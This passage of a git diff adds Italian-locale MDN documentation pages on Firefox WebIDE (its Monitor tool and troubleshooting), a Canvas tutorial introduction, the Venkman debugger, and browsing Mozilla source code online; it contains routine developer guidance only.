+<p>To disable <code>DevTools restricted privileges</code>, connect to the runtime, and then, in the menu, go to <code>Runtime &gt; Runtime Info</code>. The path then differs depending on what you are debugging against:</p>
+
+<ul>
+ <li>Real device
+  <ul>
+   <li>If it can be rooted, clicking <code>"request higher privileges"</code> will enable unrestricted app debugging (Firefox OS will restart). You may need to select your device again in the 'Select Runtime' drop down.</li>
+  </ul>
+ </li>
+ <li>Simulator
+  <ul>
+   <li>The simulators come with unrestricted app debugging enabled by default.</li>
+  </ul>
+ </li>
+ <li>B2G desktop
+  <ul>
+   <li>Manually edit the B2G desktop client <a href="https://developer.mozilla.org/en-US/Firefox_OS/Using_the_App_Manager#Using_the_B2G_desktop_client">preferences</a> before connecting to enable unrestricted app debugging.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>Now (or after a restart of the B2G desktop client) in WebIDE you should see all the apps on the device.</p>
+
+<h2 id="Monitoring_performance">Monitoring performance</h2>
+
+<p>If you're interested in the performance of your apps, there are a few ways to measure their impact on the runtime in WebIDE:</p>
+
+<ul>
+ <li>The <a href="/docs/Tools/WebIDE/Monitor">Monitor</a> panel offers a good overview of a device's performance. This can help you detect problems, e.g. a sudden, excessive increase in an app's memory usage (leak).</li>
+ <li>The <a href="/docs/Tools/Profiler">Profiler</a> tool gives you a way to analyze a single app's footprint in great detail. This is especially useful when investigating a known performance problem.</li>
+</ul>
+
+<h2 id="Troubleshooting">Troubleshooting</h2>
+
+<p>If you have any problems working with WebIDE, see the <a href="/en-US/docs/Tools/WebIDE/Troubleshooting">Troubleshooting</a> page.</p>
+
+<p> </p>
+
+<p> </p>
diff --git a/files/it/tools/webide/monitor/index.html b/files/it/tools/webide/monitor/index.html
new file mode 100644
index 0000000000..a883cac837
--- /dev/null
+++ b/files/it/tools/webide/monitor/index.html
@@ -0,0 +1,160 @@
+---
+title: Monitor
+slug: Tools/WebIDE/Monitor
+tags:
+  - italiano tags
+translation_of: Archive/WebIDE/Monitor
+---
+<div class="summary">
+<p>The WebIDE Monitor is a general-purpose data tool designed to help you track the performance of <a href="/en-US/Firefox_OS">Firefox OS</a> apps and devices.</p>
+</div>
+
+<p><img alt="The WebIDE Monitor" src="https://thefiletree.com/jan/shots/monitor/monitor.png" style="width: 800px; height: 464px;"></p>
+
+<p>The Monitor is able to display live, interactive graphs to visualize time series.</p>
+
+<h2 id="Available_graphs">Available graphs</h2>
+
+<p>The Monitor comes with several different graphs. They usually show up once WebIDE is connected to a Firefox OS runtime.</p>
+
+<h3 id="Unique_Set_Size">Unique Set Size</h3>
+
+<p><img alt="Unique Set Size" src="https://thefiletree.com/jan/shots/monitor/uniquesetsize.png" style="width: 879px; height: 310px;"></p>
+
+<p>This graph shows the memory footprint of all Firefox OS processes over time. If you are interested in the memory consumption of a Firefox OS app, launch it, and the private memory used by its process will be displayed here.</p>
+
+<h2 id="Displaying_your_own_data">Displaying your own data</h2>
+
+<p>It's relatively easy to display any kind of data in the Monitor, because it accepts loosely-formatted updates from many different sources.</p>
+
+<h3 id="From_a_Firefox_OS_device">From a Firefox OS device</h3>
+
+<p>You can send data from a connected device by sending observer notifications.</p>
+
+<p>Note: If you would like to do this in a <a href="https://developer.mozilla.org/Marketplace/Options/Packaged_apps#Certified_app" title="Certified app">certified app</a>, please follow <a href="https://developer.mozilla.org/docs/Tools/WebIDE#Debugging_certified_apps" title="Debugging certified apps">these instructions</a>.</p>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<p><code>Services.obs.notifyObservers(null, 'devtools-monitor-update', data);</code></p>
+
+<p>You can send data from any JS code with chrome privileges. Here is a complete example measuring the run time of some JS code:</p>
+
+<p><code>const Services = require('Services');<br>
+ <br>
+ var start = Date.now();<br>
+ // code to benchmark<br>
+ var stop = Date.now();<br>
+ <br>
+ var data = { graph: 'Performance', myFeature: stop-start, time: stop }</code><code>;<br>
+ Services.obs.notifyObservers(null, 'devtools-monitor-update', JSON.stringify(data));</code></p>
+
+<h4 id="C">C++</h4>
+
+<p><code>observerService-&gt;NotifyObservers(nullptr, "devtools-monitor-update", data);</code></p>
+
+<p>You can send data from anywhere in Gecko. Here is a complete example measuring the run time of some code:</p>
+
+<p><code>#include &lt;time.h&gt;<br>
+ #include "nsPrintfCString.h"<br>
+ #include "nsIObserverService.h"<br>
+ <br>
+ clock_t start = clock();<br>
+ // code to benchmark<br>
+ clock_t stop = clock();<br>
+ double time = (double)(stop - start) / (CLOCKS_PER_SEC / 1000);<br>
+ <br>
+ nsCOMPtr&lt;nsIObserverService&gt; observerService = services::GetObserverService();<br>
+ if (observerService) {<br>
+   nsPrintfCString str("{\"graph\":\"Performance\",\"myFeature\":%f}", time);<br>
+   nsAutoString data = NS_ConvertUTF8toUTF16(str);<br>
+   observerService-&gt;NotifyObservers(nullptr, "devtools-monitor-update", data.get());<br>
+ }</code></p>
+
+<h3 id="From_your_computer">From your computer</h3>
+
+<p>You can easily send data to the Monitor over a WebSockets server. This can be useful if you're writing a Firefox extension, a command-line tool or a web service.</p>
+
+<p>By default, the Monitor looks for a server running on the port 9000 of you computer. You can change this by updating the <code>devtools.webide.monitorWebSocketURL</code> preference.</p>
+
+<p>You can even make it accept data from your local network, or from anywhere on the Internet.</p>
+
+<h4 id="Node.js">Node.js</h4>
+
+<p><code>TODO</code></p>
+
+<h4 id="Python">Python</h4>
+
+<p><code>TODO</code></p>
+
+<h3 id="Supported_formats">Supported formats</h3>
+
+<p>The Monitor accepts data in the form of JSON objects that generally look like this:</p>
+
+<p><code>{</code><br>
+ <code>  "graph": "myGraph",<br>
+   "curve": "myCurve",<br>
+   "value": 42,<br>
+   "time": 1234567890<br>
+ }</code></p>
+
+<p>That format is meant to be very flexible. If a specified graph or curve doesn't exist, it will be created automatically.</p>
+
+<h4 id="Arbitrary_names">Arbitrary names</h4>
+
+<p>Unrecognized entries will be considered as curve name and value.</p>
+
+<p>The smallest data packet you can send is something like:</p>
+
+<p><code>{ "myCurve": 42 }</code></p>
+
+<p>This will add a data point to "myCurve" in a graph with no name. The missing <code>time</code> will default to when the Monitor received the packet.</p>
+
+<p>For better precision, it's probably better to always specify a <code>timestamp</code> for your data:</p>
+
+<p><code>{<br>
+   "current": 60,</code><br>
+ <code>  "voltage": 500,<br>
+   <code>"time": 1234567890</code><br>
+ }</code></p>
+
+<h4 id="Multiple_values">Multiple values</h4>
+
+<p>In a single update, you can send data for multiple curves:</p>
+
+<p><code>{<br>
+   "graph": "myGraph",<br>
+   "myCurve1": 50,<br>
+   "myCurve2": 300,<br>
+   "myCurve3": 9000,<br>
+   "time": 1234567890<br>
+ }</code></p>
+
+<p>Or several data points for a single curve:</p>
+
+<p><code>{<br>
+   "graph": "myGraph",<br>
+   "curve": "myCurve",<br>
+   "values": [<br>
+     { "time": 1234567890, "value": 42 },<br>
+     { "time": 1234567981, "value": 51 }<br>
+   ]<br>
+ }</code></p>
+
+<h4 id="Multiple_updates">Multiple updates</h4>
+
+<p>And you can also send multiple data updates as an Array:</p>
+
+<p><code>[<br>
+   { "graph": "Memory", "time": 1234567890, "System": 2600, "My App": 1000 },<br>
+   { "graph": "Power", "time": 1234567890, "current": 60, "voltage": 500 }<br>
+ ]</code></p>
+
+<h4 id="Punctual_events">Punctual events</h4>
+
+<p>To mark special events in a graph with a vertical bar, add an <code>event</code> key to your update:</p>
+
+<p><code>{<br>
+   "graph": "myGraph",<br>
+   "event": "myEvent",<br>
+   "time": 1234567980<br>
+ }</code></p>
diff --git a/files/it/tools/webide/troubleshooting/index.html b/files/it/tools/webide/troubleshooting/index.html
new file mode 100644
index 0000000000..462bb661d2
--- /dev/null
+++ b/files/it/tools/webide/troubleshooting/index.html
@@ -0,0 +1,106 @@
+---
+title: 'WebIDE, risoluzione dei problemi'
+slug: Tools/WebIDE/Troubleshooting
+tags:
+  - 'etichette{locale}'
+translation_of: Archive/WebIDE/Troubleshooting
+---
+<h2 id="Connettere_un_dispositivo_Firefox_OS_tramite_USB">Connettere un dispositivo Firefox OS tramite USB</h2>
+
+<p>Se stai tentando di connettere un dispositivo con Firefox Os al WebIDE e non viene mostrato, ecco alcuni consigli che puoi provare a mettere in atto.</p>
+
+<ul>
+ <li>Controlla la tua versione di Firefox OS: assicurati  che la versione sia<strong> Firefox OS 1.2/Boot2Gecko 1.2 o superiore</strong>. Per controllare la versione, apri la app Impostazioni e seleziona <code>Info sul dispositivo &gt; Software</code>. Se la versione non è abbastanza recente, cerca il tuo dispositivo nella <a href="/en-US/Firefox_OS/Developer_phone_guide">guida ai dispositivi per sviluppatori</a> e segui le instruzioni per aggiornare il tuo dispositivo.</li>
+ <li>Attiva il debug remoto: nella app Impostazioni del dispositivo seleziona <code>Info sul dispositivo &gt; Altre informazioni &gt; Sviluppatore</code> .
+  <ul>
+   <li>Firefox OS 1.3 e precedenti: "Debug Remoto" è attivabile tramite una casella. Spunta la casella.</li>
+   <li>Firefox OS 1.4 e successivi: il "Debug Remoto" può essere richiesto per ADB o per ADB e gli stumenti per lo sviluppo. Seleziona <strong>ADB e strumenti per lo sviluppo</strong> per utilizzare il WebIDE.</li>
+  </ul>
+ </li>
+ <li>Disattiva il blocco schermo sul tuo dispostivo: nella app Impostazioni del dispositivo, seleziona <code>Blocca Schermo</code> e disattiva l'opzione Blocca Schermo. Disattivare il blocco schermo impedisce al telefono di perdere la connessione con il debugger.</li>
+ <li>Assicurati di non aver connesso contemporaneamente un dispositivo Android ed un dispositivo Firefox OS al computer.</li>
+ <li>Controlla il cavo USB che stai usando:
+  <ul>
+   <li>Prova ad staccare ed reinserire il cavo USB.</li>
+   <li>Prova ad inserire il cavo USB in porte differenti nel tuo computer. Potrebbe essere necessario alternare le porte.</li>
+   <li>Prova a utilizzare un altro cavo USB. I cavi forniti con i telefoni sono spesso di bassa qualità e malfunzionanti.</li>
+   <li>Prova un cavo USB più corto. I cavi USB lunghi non funzionano molto bene.</li>
+  </ul>
+ </li>
+ <li> Prova a disattivare e riattivare  il debug remoto nell'app Impostazioni sul tuo dispositivo.</li>
+ <li>Se <a href="/en-US/docs/Tools/WebIDE#Custom_runtimes">hai disattivato l'addon ADB Helper</a> hai anche eseguito con successo il comando <code>adb forward</code> ?</li>
+ <li>Se utilizzi Linux sei sicuro di avere aggiunto la regola udev al file come richiesto al passo 3 della guida per  <a class="external external-icon" href="http://developer.android.com/tools/device.html#setting-up">impostare un dispositivo Android</a>. Lo <code>idVendor</code> per utilizzare un Geeksphone è "05c6", in  <a class="external external-icon" href="http://developer.android.com/tools/device.html#VendorIds">questa pagina</a> puoi trovare la lista degli altri <code>idVendor</code> che puoi utilizzare. Una volta aggiunta la regola <code>udev</code> esegui il comando <code>adb devices</code>, se il tuo dispositivo non appare nella lista o appare la scritta <code>"no permission"</code> devi riavviare il server adb (<code>adb kill-server; adb start-server</code>).</li>
+ <li>Se utilizzi Windows:
+  <ul>
+   <li>devi installare i driver per il tuo dispositivo come richiesto al passo 3 della guida per  <a class="external external-icon" href="http://developer.android.com/tools/device.html#setting-up">impostare un dispositivo Android</a>. Puoi trovare i driver per il dispositivo Geeksphone sul <a class="external external-icon" href="http://downloads.geeksphone.com/">sito di Geeksphone</a> ed i driver per un dispositivo Google su <a href="http://developer.android.com/sdk/win-usb.html">Google web site</a>. Di defailt Windows 8 non permette di installare dei driver non firmati. Leggi questo tutorial su <a class="external-icon external" href="http://www.craftedge.com/tutorials/driver_install_windows8/driver_install_win8.html" title="http://www.craftedge.com/tutorials/driver_install_windows8/driver_install_win8.html">"Come installare un driver non firmato su Windows 8"</a>.</li>
+   <li>Se il WebIDE non riesce a  mostrare il tuo dispositivo dopo aver seguito questi passaggi potresti modificare il file <a class="external-icon external" href="http://blog.fh-kaernten.at/wehr/?p=1182">adb_usb.ini</a>.</li>
+  </ul>
+ </li>
+ <li>Se utilizzi EasyTether (OS X), dovrai rimuovere o disabilitare EasyTether: <code>sudo kextunload /System/Library/Extensions/EasyTetherUSBEthernet.kext</code></li>
+</ul>
+
+<h2 id="Connettere_un_dispositivo_Firefox_OS_tramite_Wi-Fi">Connettere un dispositivo Firefox OS tramite Wi-Fi</h2>
+
+<ul>
+ <li>Controlla le versioni del software: il debug tramite Wi-Fi richiede Firefox 39 o più recente ed un dispositivo con Firefox OS 3.0 del 2015-03-27 o più recente.</li>
+</ul>
+
+<h2 id="Connettersi_a_Firefox_per_Android">Connettersi a Firefox per Android</h2>
+
+<p>Se stai cercando di connettere il WebIDE con un dispositivo Android su cui esegui Firefox e questo non viene mostrato nel WebIDE ecco alcuni consigli che puoi provare a mettere in atto:</p>
+
+<ul>
+ <li>Controlla la versione di Firefox per Android, assicurati che <strong> sia superiore a Firefox 36</strong>. Il WebIDE non mostra le versioni meno recenti automaticamente e dovrai abilitare il <code>port forwarding</code> e connettere il dispositivo nuovamente - segui le instruzioni <a class="external external-icon" href="https://developer.mozilla.org/en-US/docs/Tools/Remote_Debugging/Firefox_for_Android">qui</a>.</li>
+ <li>Assicurati di aver abilitato il debug remoto in Firefox: apri Firefox per Android, apri il suo menu, seleziona <code>Impostazioni</code> e spunta la casella in <code>Strumenti di sviluppo &gt; Debug remoto</code>.</li>
+ <li>Assicurati che il Debug USB sia permesso nelle impostazioni del dispositivo.</li>
+ <li>Se continui a non rilevare il tuo dispositivo nella finestra nel WebIDE prova ad spuntare di nuovo la casella <code>Debug remoto</code> sul dispositivo.
+  <ul>
+   <li>Disconnetti il tuo dispositivo dal computer e disabilita il <code>Debug remoto</code> sul telefono.</li>
+   <li>Connetti il dispositivo e abilita il <code>Debug remoto</code> - questo riavvia il debugger sul telefono.</li>
+   <li>Prova a connetterti tramite il WebIDE nuovamente.</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Connettersi_ad_altri_browser_(Chrome_Safari)">Connettersi ad altri browser (Chrome, Safari)</h2>
+
+<p>Il WebIDE usa il progetto<a class="here" href="https://developer.mozilla.org/en-US/docs/Tools/Remote_Debugging/Firefox_for_Android"> </a><a href="/en-US/docs/Tools/Firefox_Tools_Adapter">Valence (conosciuto come Firefox Tools Adapter)</a> per comunicare con altri browser, come  Chrome e  Safari. </p>
+
+<p>Se ha problemi a connettersi ad altri browser controlla i passaggi per impostare il tuo dispositivo per quel browser sulla pagina del <a href="/en-US/docs/Tools/Firefox_Tools_Adapter">progetto Valence.</a></p>
+
+<h3 id="Problemi_con_il_debug_delle_app">Problemi con il debug delle app</h3>
+
+<p>Se non riesci a effettuare il debug di app certificate, di sistema o precedentemente installate potresti essere incappato in un problema di insufficenti permessi. Per saperne di più leggi la sezione<a href="/en-US/docs/Tools/WebIDE#Unrestricted_app_debugging_%28including_certified_apps.2C_main_process.2C_etc.%29"> debug senza restrizioni (app certificate, di sistema, processi, etc.)</a>.</p>
+
+<h2 id="Impossibile_caricare_la_lista_dei_progetti">Impossibile caricare la lista dei progetti</h2>
+
+<p>Se usi il WebIDE ed effettui il downgrade di Firefox ad una versione precedente e continui ad utilizzare lo stesso profilo potresti incontrare l'errore "Impossibile carica la lista dei progetti" quando apri il WebIDE nella versione precedente.</p>
+
+<p>Questo problema può accadere quando il sistema di salvataggio dei progetti del WebIDE (<a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>) ha aggiornato o cambiato i suoi file durante l'uso della versione più recente di Firefox. La lista dei progetti è a tutti gli effetti inaccessibile alle versioni più vecchie di Firefox.</p>
+
+<p>Non è stata persa nessuna informazione ma dovrai necessariamente continuare ad utilizzare la versione più recente di Firefox per recuperare la lista dei progetti.</p>
+
+<p>Se vuoi veramente utilizzare la versione meno recente di Firefox puoi provare a cancelleare la lista dei progetti nel seguente modo, ma questa procedura non è supportata e potresti incorrere in altri problemi o altre perdite di informazioni.</p>
+
+<ol>
+ <li>Chiudi Firefox</li>
+ <li>Trova la tua cartella dei profili</li>
+ <li>Trova la cartella <code>storage</code> dentro alla cartella del tuo profilo</li>
+ <li>Nel contenuto della cartella ci saranno dei file o cartelle il cui nome comincia per<code>4268914080AsptpcPerjo</code> (una hash del nome del database)</li>
+ <li>Rimuovi tutte le cartelle ed i file in questione</li>
+ <li>Avvia Firefox ed il WebIDE nuovamente</li>
+</ol>
+
+<h2 id="Abilitare_i_log">Abilitare i log</h2>
+
+<p>Puoi inoltre abilitare un logging senza filtri per raccogliere informazioni diagnostiche:</p>
+
+<ol start="1" style="list-style-type: decimal;">
+ <li>Apri <a class="external external-icon" href="http://kb.mozillazine.org/About:config">about:config</a>, aggiunti una nuova preferenza chiamata <code>extensions.adbhelper@mozilla.org.sdk.console.logLevel</code>, con il valore in forma di Stringa impostato ad <code>all</code>, ed imposta la proprietà <code>extensions.adbhelper@mozilla.org.debug</code> al valore <code>true</code>.</li>
+ <li>Nella pagina <a class="external external-icon" href="https://support.mozilla.org/en-US/kb/disable-or-remove-add-ons">Add-ons Manager</a>, disabilita e abilita nuovamente l'add-on ADB Helper.</li>
+ <li>Apri la <a href="https://developer.mozilla.org/en-US/docs/Tools/Browser_Console">Console del Browser</a> e vedrai dei messaggi che hanno come prefisso la stringa <code>adb</code>. Se i messaggi non sono comprensibili per te  <a href="/en-US/docs/Tools/WebIDE/Troubleshooting#Get_help">chiedi aiuto</a>.</li>
+</ol>
+
+<h2 id="Chiedere_aiuto">Chiedere aiuto</h2>
+
+<p>Vai <a class="external external-icon" href="https://wiki.mozilla.org/DevTools/GetInvolved#Communication">alla stanza #devtools su IRC</a> e proveremo ad aiutarti.</p>
diff --git a/files/it/tutorial_sulle_canvas/index.html b/files/it/tutorial_sulle_canvas/index.html
new file mode 100644
index 0000000000..577a620cb7
--- /dev/null
+++ b/files/it/tutorial_sulle_canvas/index.html
@@ -0,0 +1,55 @@
+---
+title: Tutorial sulle Canvas
+slug: Tutorial_sulle_Canvas
+tags:
+  - Canvas tutorial
+  - 'HTML:Canvas'
+translation_of: Web/API/Canvas_API/Tutorial
+---
+<div class="summary">
+<p><img style="float: right;"><strong><code><a href="it/HTML/Canvas">&lt;canvas&gt;</a></code></strong> è un nuovo elemento <a href="it/HTML">HTML</a> che può essere utilizzato per disegnare elementi grafici utilizzando lo scripting (di solito <a href="it/JavaScript">JavaScript</a>). Per esempio può essere utilizzato per disegnare grafici, fare composizioni di fotografie o semplici (e <a href="it/A_base_RayCaster"> non così semplici</a>) animazioni. L'immagine a destra mostra alcuni esempi di implementazioni di <code> &lt;canvas&gt; </code> che vedremo più avanti in questo tutorial.</p>
+</div>
+
+<p>Questo tutorial descrive come usare l'elemento &lt;canvas&gt; per disegnare grafica 2D, cominciando dagli apetti più elementari. Gli esempi forniti vi forniranno un'idea di ciò che è possibile fare con canvas nonché il codice di alcuni snippet come ispirazione per lo sviluppo dei vostri contenuti originali.</p>
+
+<p><code>&lt;canvas&gt;</code> è stato introdotto originariamente da Apple per il <a class="external" href="http://www.apple.com/macosx/features/dashboard/">Mac OS X Dashboard</a> e solo implementato da Safari. Anche il browser basato sulla 1.8 <a href="it/Gecko">Gecko</a>, come ad esempio Firefox 1.5, supporta questo elemento. L'elemento <code>&lt;canvas&gt;</code> è anche parte delle specifiche <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/">WhatWG Web applications 1.0</a> conosciute come HTML 5</p>
+
+<p>In questo tutorial proveremo a descrivere l'utilizzo dell'elemento <code>&lt;canvas&gt;</code> nelle pagine HTML. Gli esempi forniti dovrebbero darvi dei chiarimenti di cosa tu puoi fare con &lt;canvas&gt; e come può essere utilizzato per iniziare a costruire le tue implementazioni.</p>
+
+<h3 id="Prima_di_iniziare" name="Prima_di_iniziare">Prima di iniziare</h3>
+
+<p>Utilizzare l'elemento <code>&lt;canvas&gt;</code> non è molto difficile, ma richiede una conoscenza di base di <a href="it/HTML">HTML</a> e <a href="it/JavaScript">JavaScript</a>.</p>
+
+<p><span id="result_box" lang="it"><span class="atn hps">Sebbene l'</span><span>elemento &lt;canvas&gt;</span> <span class="hps">non sia supportato da</span> <span class="hps">alcuni vecchi browser dovrebbe essere</span><span class="hps"> supportato dalle</span> <span class="hps">versioni recenti di</span> <span class="hps">tutti i principali browser</span><span>.</span> <span class="hps">La dimensione predefinita</span> <span class="hps">del canvas (tela)</span> <span class="hps">è di 300px</span> <span class="hps">× 150</span> <span class="hps">px</span> <span class="hps">(altezza</span> <span class="hps">x larghezza</span><span>)</span><span>.</span> <span class="hps">E' possibile personalizzare le dimensioni </span></span>ricorrendo alle proprietà <code>height</code> e <code>width</code> dei fogli CSS. Nei seguenti esempi ricorreremo a codice javascript (javascript context object) per generare la grafica al volo.</p>
+
+<h3 id="In_questo_tutorial" name="In_questo_tutorial">In questo tutorial</h3>
+
+<ul>
+ <li><a href="it/Canvas_tutorial/Utilizzo_di_base">Utilizzo di base</a></li>
+ <li><a href="it/Canvas_tutorial/Disegnare_forme">Disegnare forme</a></li>
+ <li><a href="it/Canvas_tutorial/Applicare_stili_e_colori">Applicare stili e colori</a></li>
+ <li>Disegnare il testo</li>
+ <li><a href="it/Canvas_tutorial/Usare_immagini">Usare immagini</a></li>
+ <li><a href="it/Canvas_tutorial/Trasformazioni">Trasformazioni</a></li>
+ <li><a href="it/Canvas_tutorial/Composizioni">Composizioni e clipping (ritaglio)</a></li>
+ <li><a href="it/Canvas_tutorial/Animazioni_di_base">Animazioni di base</a></li>
+ <li>Animazioni avanzate</li>
+ <li>Manipolazione dei pixel</li>
+ <li>Regioni di interesse e accessibilità</li>
+ <li>Ottimizzazione delle canvas</li>
+ <li>Fine</li>
+</ul>
+
+<h3 id="Vedi_anche" name="Vedi_anche">Vedi anche</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Canvas_API" title="HTML/Canvas">Canvas topic page</a></li>
+ <li><a class="external" href="http://www.canvasdemos.com/" title="Canvas Demos">Esempi e demo - Giochi, applicazioni, strumenti e tutorial</a></li>
+ <li><a class="external" href="http://visitmix.com/labs/ai2canvas/" title="http://visitmix.com/labs/ai2canvas/">Plug-in di conversione da Adobe Illustrator a Canvas</a></li>
+ <li><a class="external" href="http://www.html5canvastutorials.com/" title="http://www.html5canvastutorials.com/">HTML5CanvasTutorials</a></li>
+ <li><a class="external" href="http://creativejs.com/2011/08/31-days-of-canvas-tutorials/" title="http://creativejs.com/2011/08/31-days-of-canvas-tutorials/">31 giorni di canvas tutorials</a></li>
+</ul>
+
+<div>{{ Next("Web/API/Canvas_API/Tutorial/Basic_usage") }}</div>
+
+<p>{{ languages( { "fr": "fr/Tutoriel_canvas", "ja": "ja/Canvas_tutorial", "ko": "ko/Canvas_tutorial", "pl": "pl/Przewodnik_po_canvas", "zh-cn": "cn/Canvas_tutorial", "ru": "ru/\u041e\u0431\u0443\u0447\u0435\u043d\u0438\u0435_canvas" } ) }}</p>
diff --git a/files/it/venkman/index.html b/files/it/venkman/index.html
new file mode 100644
index 0000000000..cdebf87b65
--- /dev/null
+++ b/files/it/venkman/index.html
@@ -0,0 +1,42 @@
+---
+title: Venkman
+slug: Venkman
+tags:
+  - Estensioni
+  - 'Estensioni:Strumenti'
+  - 'JavaScript:Strumenti'
+  - Strumenti
+  - Sviluppo_Web
+  - 'Sviluppo_Web:Strumenti'
+  - Tutte_le_categorie
+  - Venkman
+translation_of: Archive/Mozilla/Venkman
+---
+<p>
+Venkman è un debugger JavaScript basato su Mozilla.
+</p>
+<h3 id="Articoli_in_MDC_su_Venkman" name="Articoli_in_MDC_su_Venkman"> Articoli in MDC su Venkman </h3>
+<ul><li> <a href="it/Introduzione_a_Venkman">Introduzione a Venkman</a>
+</li><li> <a href="it/Usare_i_breakpoint_in_Venkman">Usare i breakpoint in Venkman</a>
+</li><li> <a href="it/Venkman_Internals">Venkman Internals</a>
+</li></ul>
+<ul><li> <a>Lista alfabetica degli articoli in MDC relativi a Venkman</a>
+</li></ul>
+<h3 id="Ottenere_Venkman" name="Ottenere_Venkman"> Ottenere Venkman </h3>
+<ul><li> <b>Mozilla Suite</b> e <b>SeaMonkey</b>: Venkman è una opzione di installazione (scegliere Installazione avanzata).
+</li><li> <b>Mozilla Suite</b>, <b>SeaMonkey</b>, <b>Firefox</b>, and <b>Thunderbird</b>: l'ultima versione è disponibile su <a class="link-https" href="https://addons.mozilla.org/extensions/moreinfo.php?id=216">Mozilla Addons</a>.
+</li><li> La versione <b>Nvu</b> è disponibile su <a class="external" href="http://glazman.org/nvu/releases/extensions/">glazman.org</a>.
+</li></ul>
+<h3 id="Risorse" name="Risorse"> Risorse </h3>
+<p>Visitare i link seguenti per ulteriori informazioni su Venkman:
+</p>
+<ul><li> <a class="external" href="http://www.mozilla.org/projects/venkman/">Homepage Venkman</a>
+</li><li> <a class="external" href="http://www.hacksrus.com/~ginda/venkman/">Venkman pagina di sviluppo</a>
+</li><li> <a class="external" href="http://www.hacksrus.com/~ginda/venkman/screenshots/?M=D">Screenshots</a>
+</li><li> <a class="external" href="http://www.hacksrus.com/~ginda/venkman/faq/venkman-faq.html">FAQ</a>
+</li><li> Newsgroup: <a class="external" href="http://groups.google.com/group/mozilla.dev.apps.js-debugger">mozilla.dev.apps.js-debugger</a>
+</li><li> <a class="external" href="http://www.hacksrus.com/~ginda/venkman/faq/venkman-faq.html#irc">IRC</a>: <a class=" link-irc" href="irc://irc.mozilla.org/venkman" rel="freelink">irc://irc.mozilla.org/venkman</a>
+</li></ul>
+<ul><li> <a class="external" href="http://www.svendtofte.com/code/learning_venkman/">"Learning the JavaScript debugger Venkman"</a> di Svend Tofte
+</li></ul>
+{{ languages( { "es": "es/Venkman", "en": "en/Venkman", "fr": "fr/Venkman", "ja": "ja/Venkman", "ko": "ko/Venkman", "pl": "pl/Venkman" } ) }}
diff --git a/files/it/visualizzare_e_cercare_il_sorgente_di_mozilla_online/index.html b/files/it/visualizzare_e_cercare_il_sorgente_di_mozilla_online/index.html
new file mode 100644
index 0000000000..79aedc8bb9
--- /dev/null
+++ b/files/it/visualizzare_e_cercare_il_sorgente_di_mozilla_online/index.html
@@ -0,0 +1,32 @@
+---
+title: Visualizzare e cercare il sorgente di Mozilla online
+slug: Visualizzare_e_cercare_il_sorgente_di_Mozilla_online
+translation_of: Mozilla/Tech/Viewing_and_searching_Mozilla_source_code_online
+---
+<p>Il codice sorgente per tutti i progetti mozilla, ospitato nei repository Mercurial e CVS può essere cercato e visualizzato online utilizzando  <a class="external" href="http://mxr.mozilla.org">MXR</a>. È una variante  migliorata dell'originale Linux Cross Reference Tool.</p>
+
+<p>Una nuova pagina di ricerca chiamata <a href="http://dxr.mozilla.org">DXR</a> è oltretutto disponibile - non offre tutte le radici che MXR fornisce, ma i suoi risultati possono essere anche più complicati.</p>
+
+<p>Non scaricare il codice sorgente facendo crawling su MXR; scarica un <a href="/En/Developer_Guide/Source_Code/Downloading_Source_Archives" title="En/Developer_Guide/Source_Code/Downloading_Source_Archives">tarball</a> oppure usa <a href="/En/Developer_Guide/Source_Code/Mercurial" title="En/Developer_Guide/Source_Code/Mercurial">Mercurial</a> o <a href="/En/Developer_Guide/Source_Code/CVS" title="En/Developer_Guide/Source_Code/CVS">CVS</a>.</p>
+
+<p>MXR indicizza multiple branches CVS e moduli; la radice MXR più interessante per un contributore è <a class="external" href="http://mxr.mozilla.org/comm-central/">comm-central</a>, la quante contiene l'ultimo sorgente per la maggior parte dei prodotti Mozilla (incluso Firefox, Thunderbird, SeaMonkey, Sunbird/Lighting, Chatzilla, Dot Inspector e Venkam Javascript Debugger) ed è aggiornato frequentemente.</p>
+
+<p>Alcune radici MXR d'interesse sono:</p>
+
+<ul>
+ <li><a class="link-https" href="https://hg.mozilla.org/mozilla-central/">"mozilla-central"</a> contiene il codice corrente di Firefox e Gecko. Le release dipartite da questo repository sono anche note come "Trunk".</li>
+ <li><a class="external" href="http://mxr.mozilla.org/comm-central/">"comm-central"</a> contiene gli attuali Thunderbird, SeaMonkey e il Calendar development.</li>
+ <li><a class="link-https" href="https://hg.mozilla.org/releases/mozilla-1.9.1/">"mozilla-1.9.1"</a> contiene i rami di sviluppo di Firefox 3.5 e Gecko 1.9.1</li>
+ <li><a class="link-https" href="https://hg.mozilla.org/releases/comm-1.9.1/">"comm-1.9.1"</a> contiene le diramazione per Thunderbird 3, SeaMonkey 2 e Sunbird 1 con Gecko 1.9.1 Contiene neanche un mirror di mozilla-1.9.1</li>
+ <li><a class="external" href="http://mxr.mozilla.org/seamonkey/">"mozilla" root</a> contiene il codice della 1.9, come "seamonkey", ma indicizza una grande parte del repository ed è aggiornato poco spesso.</li>
+ <li><a class="external" href="http://mxr.mozilla.org/mozilla1.8/">Mozilla 1.8 root</a> contiene Firefox, Thunderbird 2.0.0.x, e SeaMonkey 1.1.x</li>
+ <li><a class="external" href="http://mxr.mozilla.org/mozilla1.8.0/">Mozilla 1.8.0 root</a> contiene Firefox, Thunderbird 1.5.0.x, SeaMonkey 1.0.x</li>
+ <li><a class="external" href="http://mxr.mozilla.org/aviary101branch/">Aviary 1.0.1 root</a> Firefox e Thunderbird 1.0.0.x</li>
+ <li><a class="external" href="http://mxr.mozilla.org/mozilla1.7/">Mozilla 1.7 root</a> contiene Mozilla Suite 1.7.x</li>
+</ul>
+
+<p><a href="/en/Mozilla_Source_Code_Directory_Structure" title="en/Mozilla_Source_Code_Directory_Structure">Struttura della directory del codice sorgente Mozilla</a> ha una corta descrizione del codice che risiede in ciascuna sorgente.</p>
+
+<h3 id="Resources" name="Resources">Risorse</h3>
+
+<p><a href="/en/CVS_Tags" title="en/CVS_Tags">CVS Tags</a></p>
diff --git a/files/it/web/accessibility/index.html b/files/it/web/accessibility/index.html
new file mode 100644
index 0000000000..2e786c4fb1
--- /dev/null
+++ b/files/it/web/accessibility/index.html
@@ -0,0 +1,56 @@
+---
+title: Accessibilità
+slug: Web/Accessibility
+tags:
+  - Accessibilità
+translation_of: Web/Accessibility
+---
